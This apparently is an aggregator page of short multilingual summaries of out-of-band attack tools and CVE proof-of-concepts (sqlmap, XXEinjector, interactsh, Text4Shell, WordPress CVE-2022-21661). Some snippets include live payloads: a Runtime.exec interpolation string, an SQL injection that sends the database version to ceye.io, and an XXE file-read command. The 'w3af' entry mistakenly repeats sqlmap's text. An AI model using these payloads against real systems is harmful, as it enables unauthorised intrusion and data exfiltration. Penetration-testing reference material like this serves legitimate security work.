lorsrf

LORSRF - 2.1 Lorsrf는 SSRF 또는 Out-of-band 리소스 로드 공격에 악용될 수 있는 매개변수를 식별하기 위해 설계된 강력한 웹 침투 테스트 도구입니다. Burp Collaborator와 같은 OAST 호스트를 매개변수 값에 추가함으로써 Lorsrf는 대상에 대한 실제 정보 없이 Burp Collaborator에서 수신되는 HTTP 요청을 생성할 수 있습니다. 이 문제를 해결하기 위해 Lorsrf는 OAST 호스트에 변수로 특정 대상 정보 조각을 추가할 수 있는 기능을 포함합니다. 이를 통해 취약한...

xcat

XCat XCat is a command line tool to exploit and investigate blind XPath injection vulnerabilities. For a complete reference read the documentation here: https://xcat.readthedocs.io/en/latest/ It supports an large number of features: Auto-selects injections run xcat injections for a list Detects t...

POC-CVE-2025-54988

CVE-2025-54988 - POC 면책 조항: 저는 이 취약점의 최초 발견자가 아닙니다. 이 게시물은 교육 목적과 다른 사람들이 자신의 시스템을 검증하는 데 도움을 주기 위해 통제된 환경에서 이 문제를 재현한 과정을 문서화한 것입니다. 테스트는 격리된 실험실에서 수행되었으며 프로덕션 시스템에는 영향을 미치지 않았습니다. 사용법: root@kitploit: python3 xfaxxepocgen.py --mode file --file /etc/passwd -o xfapasswd.pdf python3 xfaxxepocgen.py...

interactsh

An OOB interaction gathering server and client library Features • Usage • • • •...

sqlmap

sqlmap sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switche...

sqlmap

sqlmap sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。 強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。 スクリーンショット wikiに載っているいくつかの機能のデモをスクリーンショットで見ることができます。 スクリーンショ...

CVE-2022-42889-POC

CVE-2022-42889-POC 一个简单的演示应用程序，展示了如何利用CVE-2022-42889漏洞。 利用OOB（带外）服务来演示dns和url前缀。 JavaDocs for commons-text interpolation commons-text JavaDocs 插值示例 script:javascript "$script:javascript:java.lang.Runtime.getRuntime.exec'touch /tmp/blop'" dns "$dns:address|HOST" url "$url:UTF-8:http://HOST" 来自...

XXEinjector

XXEinjector XXEinjector는 직접 및 대역 외 방식을 사용하여 파일 검색을 자동화합니다. 디렉터리 목록은 Java 애플리케이션에서만 작동합니다. 다른 애플리케이션의 경우 무차별 대입 방식을 사용해야 합니다. 옵션: root@kitploit: --host 필수 - 역방향 연결을 위한 우리의 IP 주소. --host=192.168.0.2 --file 필수 - XML이 포함된 유효한 HTTP 요청이 들어 있는 파일. DTD가 삽입되어야 할 지점을 "XXEINJECT"로 표시할 수도 있습니다...

Arecibo

Arecibo 대역 외 유출을 위한 엔드포인트 DNS 및 HTTP 작성자 Juan Manuel Fernández @TheXC3LL & Pablo Martinez @Xassiz DNS 유출 새로운 토큰 생성: root@kitploit: curl localhost:5000/generatedns "htoken": "c008b5dd22817c50441522f917c66743" 이제 이 식별 토큰을 사용하여 DNS 조회를 수행할 수 있습니다 ABCD.TOKEN.x.yourdomain.com: root@kitploit:...

CVE-2025-32375

漏洞版本设置 启动漏洞容器： root@kitploit: docker compose up 创建一个监听器（例如 ncat）： root@kitploit: ncat -klnv 1337 运行漏洞利用程序： root@kitploit: python3 exploit.py 如果一切正常，你应该会在 ncat 窗口中收到一个 HTTP 请求，其中包含 OS 命令（默认情况下为 id）的执行结果。 致谢 漏洞发现者：SeaW1nd 基于 VickyTheViking 的测试环境设置...

XOE

XOE XXE Out-Of-Band 脆弱性を簡単に悪用 詳細 このツールは、入力したIPアドレスとポートを含むXMLファイルを作成し、接続をリッスンして応答します :D スクリーンショット...

CVE-2025-25198-PoC

CVE-2025-25198-PoC 针对 CVE-2025-25198 的概念验证（PoC），该漏洞是一个影响 Mailcow 密码重置流程的 Host 头投毒问题。 该脚本会在 443 端口启动一个本地 HTTPS 监听器，自动获取有效的 CSRF 令牌，通过被投毒的 Host 头发送密码重置序列，并在从 HTTP 响应或监听器回调中恢复出重置链接时停止。 功能说明 1. 启动一个使用自签名证书的 HTTPS 监听器。 2. 创建一个全新的 HTTP 客户端会话。 3. 自动获取 CSRF 令牌。 4. 使用受控的 Host 头发送重置流程。 5. 从响应和重定向中提取重置链接。 6...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 version5.8.3 路径：http://your target/wp-admin/admin-ajax.php 注入类型是带外（out-of-band），你需要自行指定DNSLog并替换ceye.io POST- DATA："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select version,'.27s601.ceye.io\abc',1,1-- a"...

CVE-2024-22024

CVE-2024-22024 Ivanti Connect Secure에서 CVE-2024-22024 취약점 확인 !WARNING 교육 목적 및 승인된 테스트 전용입니다. 매개변수 -u 또는 --targeturl: 대상 Ivanti Connect Secure ICS URL 또는 URL 목록이 포함된 파일. -c 또는 --attackerurl: 공격자 URL Burp Collaborator, ngrok, 또는 Webhook.site의 고유 URL을 사용하여 생성 -t 또는 --timeout: 요청에 대한 시간 제한초, 기본값은 3초 ...

mole

Mole OOBOut-of-Band 취약점을 식별하고 악용하기 위한 프레임워크입니다. 설치 및 설정 Mole 설치 Python = 3.6 virtualenv -p /usr/bin/python3 venv source venv/bin/activate ./venv/bin/pip3 install -r requirements.txt git submodule update --init --recursive config.yml에 API 키를 설정하세요 클라이언트와 서버에서 같아야 합니다. DNS 구성 DNS 레코드를 등록 기관에서 구성하여...

dnsobserver

DNSObserver 一款用Go编写的便捷DNS服务，用于协助检测多种类型的盲注漏洞。它能监控渗透测试人员的服务器，捕捉带外DNS交互，并通过Slack发送包含所接收请求详情的通知。DNSObserver可帮助您发现诸如盲注操作系统命令注入、盲注SQL注入、盲注XXE等漏洞！ 如需更详细的概述和设置说明，请参阅： https://www.allysonomalley.com/2020/05/22/dnsobserver/ 设置 您需要准备： 您自己的注册域名 一台用于运行脚本的虚拟专用服务器（VPS）（我使用的是Ubuntu——在其他系统上尚未测试该工具） 可选...

w3af

sqlmap sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。 強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。 スクリーンショット wikiに載っているいくつかの機能のデモをスクリーンショットで見ることができます。...

cve-2022-33891

cve-2022-33891 사용법: root@kitploit: pip3 install requests If you do not use the -d parameter, the dnslog domain name will be automatically applied for you. 如果你不使用-d参数，则会自动为您申请dnslog域名。 python3 cve202233891poc.py -u http://127.0.0.1 python3 cve202233891poc.py -f url.txt python3 cve202233891poc.py -...

shennina

Shennina Automating Host Exploitation with AI Abstract Shennina is an automated host exploitation framework. The mission of the project is to fully automate the scanning, vulnerability scanning/analysis, and exploitation using Artificial Intelligence. Shennina is integrated with Metasploit and Nm...

CVE-2023-46021-Code-Projects-Blood-Bank-1.0-SQL-Injection-Vulnerability

CVE-2023-46021-Code-Projects-Blood-Bank-1.0-OOB-SQL-Injection-Vulnerability 공격자: ersinerenler 공급업체 홈페이지 https://code-projects.org/blood-bank-in-php-with-source-code 소프트웨어 링크 https://download-media.code-projects.org/2020/11/BloodBankInPHPWithSourcecode.zip 개요 Code-Projects Blood Bank V1.0은...